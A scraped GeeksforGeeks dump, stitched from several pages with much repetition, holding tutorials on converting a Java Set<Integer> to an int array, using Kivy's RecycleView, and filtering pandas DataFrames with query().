"Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30001, "s": 29919, "text": "How to fetch data from localserver database and display on HTML table using PHP ?" }, { "code": null, "e": 30043, "s": 30001, "text": "How to create admin login page using PHP?" }, { "code": null, "e": 30070, "s": 30043, "text": "PHP str_replace() Function" }, { "code": null, "e": 30134, "s": 30070, "text": "How to pass form variables from one page to other page in PHP ?" }, { "code": null, "e": 30185, "s": 30134, "text": "Different ways for passing data to view in Laravel" }, { "code": null, "e": 30225, "s": 30185, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 30258, "s": 30225, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 30303, "s": 30258, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 30346, "s": 30303, "text": "How to fetch data from an API in ReactJS ?" } ]
Program to Convert Set of Integer to Array of Integer in Java - GeeksforGeeks
11 Dec, 2018 Java Set is a part of java.util package and extends java.util.Collection interface. It does not allow the use of duplicate elements and at max can accommodate only one null element. A Stream is a sequence of objects that supports various methods which can be pipelined to produce the desired result. Java 8 Stream API can be used to convert Set to Set. Using Java 8 Stream: A Stream is a sequence of objects that support various methods which can be pipelined to produce the desired result. Java 8 Stream API can be used to convert Set to int[].Algorithm:Get the set of integers.Convert Set of Integer to Stream of Integer.This is done using Set.stream().Convert Stream of Integer to IntStream.Convert IntStream to int[].This is done using IntStream.toArray().Return/Print the integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return setOfInteger.stream() .mapToInt(Integer::intValue) .toArray(); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Using Guava Ints.toArray(): Guava Ints.toArray() can be used to convert set of integer to an array of integer.Algorithm:Get the set of integersCreate an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import com.google.common.primitives.Ints;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return Ints.toArray(setOfInteger); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Using Apache Commons toPrimitive(): Apache Commons Lang’s ArrayUtils class provides toPrimitive() method that can convert an array of object Integers to primitive ints. This set of integers needs to be converted to an array of Integers.Algorithm:Get the set of integersCreate an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s libraryConvert this primitive int to array of integer by use of toArray() method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import org.apache.commons.lang.ArrayUtils;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return ArrayUtils .toPrimitive(setOfInteger .toArray(new Integer[0])); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Using Java 8 Stream: A Stream is a sequence of objects that support various methods which can be pipelined to produce the desired result. Java 8 Stream API can be used to convert Set to int[].Algorithm:Get the set of integers.Convert Set of Integer to Stream of Integer.This is done using Set.stream().Convert Stream of Integer to IntStream.Convert IntStream to int[].This is done using IntStream.toArray().Return/Print the integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return setOfInteger.stream() .mapToInt(Integer::intValue) .toArray(); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Algorithm: Get the set of integers.Convert Set of Integer to Stream of Integer.This is done using Set.stream().Convert Stream of Integer to IntStream.Convert IntStream to int[].This is done using IntStream.toArray().Return/Print the integer array int[] Get the set of integers. Convert Set of Integer to Stream of Integer.This is done using Set.stream(). Convert Stream of Integer to IntStream. Convert IntStream to int[].This is done using IntStream.toArray(). Return/Print the integer array int[] Program: // Java Program to convert// Set<Integer> to int[] in Java 8 import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return setOfInteger.stream() .mapToInt(Integer::intValue) .toArray(); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }} Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Using Guava Ints.toArray(): Guava Ints.toArray() can be used to convert set of integer to an array of integer.Algorithm:Get the set of integersCreate an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import com.google.common.primitives.Ints;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return Ints.toArray(setOfInteger); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Algorithm: Get the set of integersCreate an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method.Return/Print the created integer array int[] Get the set of integers Create an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method. Return/Print the created integer array int[] Program: // Java Program to convert// Set<Integer> to int[] in Java 8 import com.google.common.primitives.Ints;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return Ints.toArray(setOfInteger); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }} Output: Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Using Apache Commons toPrimitive(): Apache Commons Lang’s ArrayUtils class provides toPrimitive() method that can convert an array of object Integers to primitive ints. This set of integers needs to be converted to an array of Integers.Algorithm:Get the set of integersCreate an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s libraryConvert this primitive int to array of integer by use of toArray() method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import org.apache.commons.lang.ArrayUtils;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return ArrayUtils .toPrimitive(setOfInteger .toArray(new Integer[0])); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Algorithm: Get the set of integersCreate an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s libraryConvert this primitive int to array of integer by use of toArray() method.Return/Print the created integer array int[] Get the set of integers Create an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s library Convert this primitive int to array of integer by use of toArray() method. Return/Print the created integer array int[] Program: // Java Program to convert// Set<Integer> to int[] in Java 8 import org.apache.commons.lang.ArrayUtils;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return ArrayUtils .toPrimitive(setOfInteger .toArray(new Integer[0])); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println("Set of Integer: " + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println("Array of Integer: " + Arrays.toString(intArray)); }} Output: Set of Integer: [1, 2, 3, 4, 5] Array of Integer: [1, 2, 3, 4, 5] Java - util package Java-Array-Programs Java-Arrays Java-Integer java-set Java-Set-Programs Java Java Programs Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Stream In Java Constructors in Java Exceptions in Java Functional Interfaces in Java Different ways of Reading a text file in Java Java Programming Examples Convert Double to Integer in Java Implementing a Linked List in Java using Class How to Iterate HashMap in Java? Program to print ASCII Value of a character
[ { "code": null, "e": 25225, "s": 25197, "text": "\n11 Dec, 2018" }, { "code": null, "e": 25407, "s": 25225, "text": "Java Set is a part of java.util package and extends java.util.Collection interface. It does not allow the use of duplicate elements and at max can accommodate only one null element." }, { "code": null, "e": 25578, "s": 25407, "text": "A Stream is a sequence of objects that supports various methods which can be pipelined to produce the desired result. Java 8 Stream API can be used to convert Set to Set." }, { "code": null, "e": 30027, "s": 25578, "text": "Using Java 8 Stream: A Stream is a sequence of objects that support various methods which can be pipelined to produce the desired result. Java 8 Stream API can be used to convert Set to int[].Algorithm:Get the set of integers.Convert Set of Integer to Stream of Integer.This is done using Set.stream().Convert Stream of Integer to IntStream.Convert IntStream to int[].This is done using IntStream.toArray().Return/Print the integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return setOfInteger.stream() .mapToInt(Integer::intValue) .toArray(); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\nUsing Guava Ints.toArray(): Guava Ints.toArray() can be used to convert set of integer to an array of integer.Algorithm:Get the set of integersCreate an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import com.google.common.primitives.Ints;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return Ints.toArray(setOfInteger); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\nUsing Apache Commons toPrimitive(): Apache Commons Lang’s ArrayUtils class provides toPrimitive() method that can convert an array of object Integers to primitive ints. This set of integers needs to be converted to an array of Integers.Algorithm:Get the set of integersCreate an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s libraryConvert this primitive int to array of integer by use of toArray() method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import org.apache.commons.lang.ArrayUtils;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return ArrayUtils .toPrimitive(setOfInteger .toArray(new Integer[0])); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 31521, "s": 30027, "text": "Using Java 8 Stream: A Stream is a sequence of objects that support various methods which can be pipelined to produce the desired result. Java 8 Stream API can be used to convert Set to int[].Algorithm:Get the set of integers.Convert Set of Integer to Stream of Integer.This is done using Set.stream().Convert Stream of Integer to IntStream.Convert IntStream to int[].This is done using IntStream.toArray().Return/Print the integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return setOfInteger.stream() .mapToInt(Integer::intValue) .toArray(); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 31532, "s": 31521, "text": "Algorithm:" }, { "code": null, "e": 31774, "s": 31532, "text": "Get the set of integers.Convert Set of Integer to Stream of Integer.This is done using Set.stream().Convert Stream of Integer to IntStream.Convert IntStream to int[].This is done using IntStream.toArray().Return/Print the integer array int[]" }, { "code": null, "e": 31799, "s": 31774, "text": "Get the set of integers." }, { "code": null, "e": 31876, "s": 31799, "text": "Convert Set of Integer to Stream of Integer.This is done using Set.stream()." }, { "code": null, "e": 31916, "s": 31876, "text": "Convert Stream of Integer to IntStream." }, { "code": null, "e": 31983, "s": 31916, "text": "Convert IntStream to int[].This is done using IntStream.toArray()." }, { "code": null, "e": 32020, "s": 31983, "text": "Return/Print the integer array int[]" }, { "code": null, "e": 32029, "s": 32020, "text": "Program:" }, { "code": "// Java Program to convert// Set<Integer> to int[] in Java 8 import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return setOfInteger.stream() .mapToInt(Integer::intValue) .toArray(); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}", "e": 32999, "s": 32029, "text": null }, { "code": null, "e": 33066, "s": 32999, "text": "Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 34423, "s": 33066, "text": "Using Guava Ints.toArray(): Guava Ints.toArray() can be used to convert set of integer to an array of integer.Algorithm:Get the set of integersCreate an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import com.google.common.primitives.Ints;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return Ints.toArray(setOfInteger); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 34434, "s": 34423, "text": "Algorithm:" }, { "code": null, "e": 34634, "s": 34434, "text": "Get the set of integersCreate an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method.Return/Print the created integer array int[]" }, { "code": null, "e": 34658, "s": 34634, "text": "Get the set of integers" }, { "code": null, "e": 34791, "s": 34658, "text": "Create an array of integer by Ints.toArray() method of Guava library, by passing the set of integers as the argument to this method." }, { "code": null, "e": 34836, "s": 34791, "text": "Return/Print the created integer array int[]" }, { "code": null, "e": 34845, "s": 34836, "text": "Program:" }, { "code": "// Java Program to convert// Set<Integer> to int[] in Java 8 import com.google.common.primitives.Ints;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return Ints.toArray(setOfInteger); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}", "e": 35802, "s": 34845, "text": null }, { "code": null, "e": 35810, "s": 35802, "text": "Output:" }, { "code": null, "e": 35877, "s": 35810, "text": "Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 37477, "s": 35877, "text": "Using Apache Commons toPrimitive(): Apache Commons Lang’s ArrayUtils class provides toPrimitive() method that can convert an array of object Integers to primitive ints. This set of integers needs to be converted to an array of Integers.Algorithm:Get the set of integersCreate an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s libraryConvert this primitive int to array of integer by use of toArray() method.Return/Print the created integer array int[]Program:// Java Program to convert// Set<Integer> to int[] in Java 8 import org.apache.commons.lang.ArrayUtils;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return ArrayUtils .toPrimitive(setOfInteger .toArray(new Integer[0])); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}Output:Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 37488, "s": 37477, "text": "Algorithm:" }, { "code": null, "e": 37731, "s": 37488, "text": "Get the set of integersCreate an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s libraryConvert this primitive int to array of integer by use of toArray() method.Return/Print the created integer array int[]" }, { "code": null, "e": 37755, "s": 37731, "text": "Get the set of integers" }, { "code": null, "e": 37857, "s": 37755, "text": "Create an object of Primitive int by ArrayUtils.toPrimitive() method of Apache Commons Lang’s library" }, { "code": null, "e": 37932, "s": 37857, "text": "Convert this primitive int to array of integer by use of toArray() method." }, { "code": null, "e": 37977, "s": 37932, "text": "Return/Print the created integer array int[]" }, { "code": null, "e": 37986, "s": 37977, "text": "Program:" }, { "code": "// Java Program to convert// Set<Integer> to int[] in Java 8 import org.apache.commons.lang.ArrayUtils;import java.util.*;import java.util.stream.*;import java.util.function.Function; class GFG { // Function to convert Set of Integer // to Set of String public static int[] convertIntSetToStringSet( Set<Integer> setOfInteger) { return ArrayUtils .toPrimitive(setOfInteger .toArray(new Integer[0])); } public static void main(String args[]) { // Create a set of integers Set<Integer> setOfInteger = new HashSet<>( Arrays.asList(1, 2, 3, 4, 5)); // Print the set of Integer System.out.println(\"Set of Integer: \" + setOfInteger); // Convert Set of integers to set of String int[] intArray = convertIntSetToStringSet(setOfInteger); // Print the set of String System.out.println(\"Array of Integer: \" + Arrays.toString(intArray)); }}", "e": 39017, "s": 37986, "text": null }, { "code": null, "e": 39025, "s": 39017, "text": "Output:" }, { "code": null, "e": 39092, "s": 39025, "text": "Set of Integer: [1, 2, 3, 4, 5]\nArray of Integer: [1, 2, 3, 4, 5]\n" }, { "code": null, "e": 39112, "s": 39092, "text": "Java - util package" }, { "code": null, "e": 39132, "s": 39112, "text": "Java-Array-Programs" }, { "code": null, "e": 39144, "s": 39132, "text": "Java-Arrays" }, { "code": null, "e": 39157, "s": 39144, "text": "Java-Integer" }, { "code": null, "e": 39166, "s": 39157, "text": "java-set" }, { "code": null, "e": 39184, "s": 39166, "text": "Java-Set-Programs" }, { "code": null, "e": 39189, "s": 39184, "text": "Java" }, { "code": null, "e": 39203, "s": 39189, "text": "Java Programs" }, { "code": null, "e": 39208, "s": 39203, "text": "Java" }, { "code": null, "e": 39306, "s": 39208, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 39321, "s": 39306, "text": "Stream In Java" }, { "code": null, "e": 39342, "s": 39321, "text": "Constructors in Java" }, { "code": null, "e": 39361, "s": 39342, "text": "Exceptions in Java" }, { "code": null, "e": 39391, "s": 39361, "text": "Functional Interfaces in Java" }, { "code": null, "e": 39437, "s": 39391, "text": "Different ways of Reading a text file in Java" }, { "code": null, "e": 39463, "s": 39437, "text": "Java Programming Examples" }, { "code": null, "e": 39497, "s": 39463, "text": "Convert Double to Integer in Java" }, { "code": null, "e": 39544, "s": 39497, "text": "Implementing a Linked List in Java using Class" }, { "code": null, "e": 39576, "s": 39544, "text": "How to Iterate HashMap in Java?" } ]
Python | RecycleView in Kivy
30 Jan, 2020 Kivy is a platform-independent GUI tool in Python. As it can be run on Android, IOS, Linux and Windows, etc. It is basically used to develop the Android application, but it does not mean that it can not be used on Desktop applications. RecycleView:Recycleview helps to deal with a large number of data items. Recycleview provides the user with the flexibility to scroll down or scroll-up the data displayed in the kivy application. You can also select multiple data items at once. Recycleview is memory efficient as compared to Listview. To use RecycleView you have to first import it. from kivy.uix.recycleview import RecycleView Implementation # Program to explain how to use recycleview in kivy # import the kivy modulefrom kivy.app import App # The ScrollView widget provides a scrollable view from kivy.uix.recycleview import RecycleView # Define the Recycleview class which is created in .kv fileclass ExampleViewer(RecycleView): def __init__(self, **kwargs): super(ExampleViewer, self).__init__(**kwargs) self.data = [{'text': str(x)} for x in range(20)] # Create the App class with name of your app.class SampleApp(App): def build(self): return ExampleViewer() # run the AppSampleApp().run() The .kv file for the above code <ExampleViewer>: viewclass: 'Button' # defines the viewtype for the data items. orientation: "vertical" spacing: 40 padding:10, 10 space_x: self.size[0]/3 RecycleBoxLayout: color:(0, 0.7, 0.4, 0.8) default_size: None, dp(56) # defines the size of the widget in reference to width and height default_size_hint: 0.4, None size_hint_y: None height: self.minimum_height orientation: 'vertical' # defines the orientation of data items Output:Above code generates a list of numbers in the range 0 to 20 which can be viewed by scrolling up and down. Python-gui Python-kivy Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python Read a file line by line in Python Python String | replace() How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Iterate over a list in Python Python OOPs Concepts
[ { "code": null, "e": 28, "s": 0, "text": "\n30 Jan, 2020" }, { "code": null, "e": 264, "s": 28, "text": "Kivy is a platform-independent GUI tool in Python. As it can be run on Android, IOS, Linux and Windows, etc. It is basically used to develop the Android application, but it does not mean that it can not be used on Desktop applications." }, { "code": null, "e": 566, "s": 264, "text": "RecycleView:Recycleview helps to deal with a large number of data items. Recycleview provides the user with the flexibility to scroll down or scroll-up the data displayed in the kivy application. You can also select multiple data items at once. Recycleview is memory efficient as compared to Listview." }, { "code": null, "e": 614, "s": 566, "text": "To use RecycleView you have to first import it." }, { "code": null, "e": 659, "s": 614, "text": "from kivy.uix.recycleview import RecycleView" }, { "code": null, "e": 674, "s": 659, "text": "Implementation" }, { "code": "# Program to explain how to use recycleview in kivy # import the kivy modulefrom kivy.app import App # The ScrollView widget provides a scrollable view from kivy.uix.recycleview import RecycleView # Define the Recycleview class which is created in .kv fileclass ExampleViewer(RecycleView): def __init__(self, **kwargs): super(ExampleViewer, self).__init__(**kwargs) self.data = [{'text': str(x)} for x in range(20)] # Create the App class with name of your app.class SampleApp(App): def build(self): return ExampleViewer() # run the AppSampleApp().run()", "e": 1262, "s": 674, "text": null }, { "code": null, "e": 1294, "s": 1262, "text": "The .kv file for the above code" }, { "code": "<ExampleViewer>: viewclass: 'Button' # defines the viewtype for the data items. orientation: \"vertical\" spacing: 40 padding:10, 10 space_x: self.size[0]/3 RecycleBoxLayout: color:(0, 0.7, 0.4, 0.8) default_size: None, dp(56) # defines the size of the widget in reference to width and height default_size_hint: 0.4, None size_hint_y: None height: self.minimum_height orientation: 'vertical' # defines the orientation of data items", "e": 1797, "s": 1294, "text": null }, { "code": null, "e": 1910, "s": 1797, "text": "Output:Above code generates a list of numbers in the range 0 to 20 which can be viewed by scrolling up and down." }, { "code": null, "e": 1921, "s": 1910, "text": "Python-gui" }, { "code": null, "e": 1933, "s": 1921, "text": "Python-kivy" }, { "code": null, "e": 1940, "s": 1933, "text": "Python" }, { "code": null, "e": 2038, "s": 1940, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2056, "s": 2038, "text": "Python Dictionary" }, { "code": null, "e": 2098, "s": 2056, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2120, "s": 2098, "text": "Enumerate() in Python" }, { "code": null, "e": 2155, "s": 2120, "text": "Read a file line by line in Python" }, { "code": null, "e": 2181, "s": 2155, "text": "Python String | replace()" }, { "code": null, "e": 2213, "s": 2181, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2242, "s": 2213, "text": "*args and **kwargs in Python" }, { "code": null, "e": 2269, "s": 2242, "text": "Python Classes and Objects" }, { "code": null, "e": 2299, "s": 2269, "text": "Iterate over a list in Python" } ]
Python | Filtering data with Pandas .query() method
23 Aug, 2019 Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric Python packages. Pandas is one of those packages that makes importing and analyzing data much easier. Analyzing data requires a lot of filtering operations. Pandas provide many methods to filter a Data frame and Dataframe.query() is one of them. Syntax: DataFrame.query(expr, inplace=False, **kwargs) Parameters:expr: Expression in string form to filter data.inplace: Make changes in the original data frame if Truekwargs: Other keyword arguments. Return type: Filtered Data frame To download the CSV file used, Click Here. Note: Dataframe.query() method only works if the column name doesn’t have any empty spaces. So before applying the method, spaces in column names are replaced with ‘_’ Example #1: Single condition filtering In this example, the data is filtered on the basis of single condition. Before applying the query() method, the spaces in column names have been replaced with ‘_’. # importing pandas packageimport pandas as pd # making data frame from csv file data = pd.read_csv("employees.csv") # replacing blank spaces with '_' data.columns =[column.replace(" ", "_") for column in data.columns] # filtering with query methoddata.query('Senior_Management == True', inplace = True) # displaydata Output:As shown in the output image, the data now only have rows where Senior Management is True. Example #2: Multiple condition filtering In this example, dataframe has been filtered on multiple conditions. Before applying the query() method, the spaces in column names have been replaced with ‘_’. # importing pandas packageimport pandas as pd # making data frame from csv file data = pd.read_csv("employees.csv") # replacing blank spaces with '_' data.columns =[column.replace(" ", "_") for column in data.columns] # filtering with query methoddata.query('Senior_Management == True and Gender =="Male" and Team =="Marketing" and First_Name =="Johnny"', inplace = True) # displaydata Output:As shown in the output image, only two rows have been returned on the basis of filters applied. Akanksha_Rai Python pandas-dataFrame Python pandas-dataFrame-methods Python-pandas Python Writing code in comment? Please use 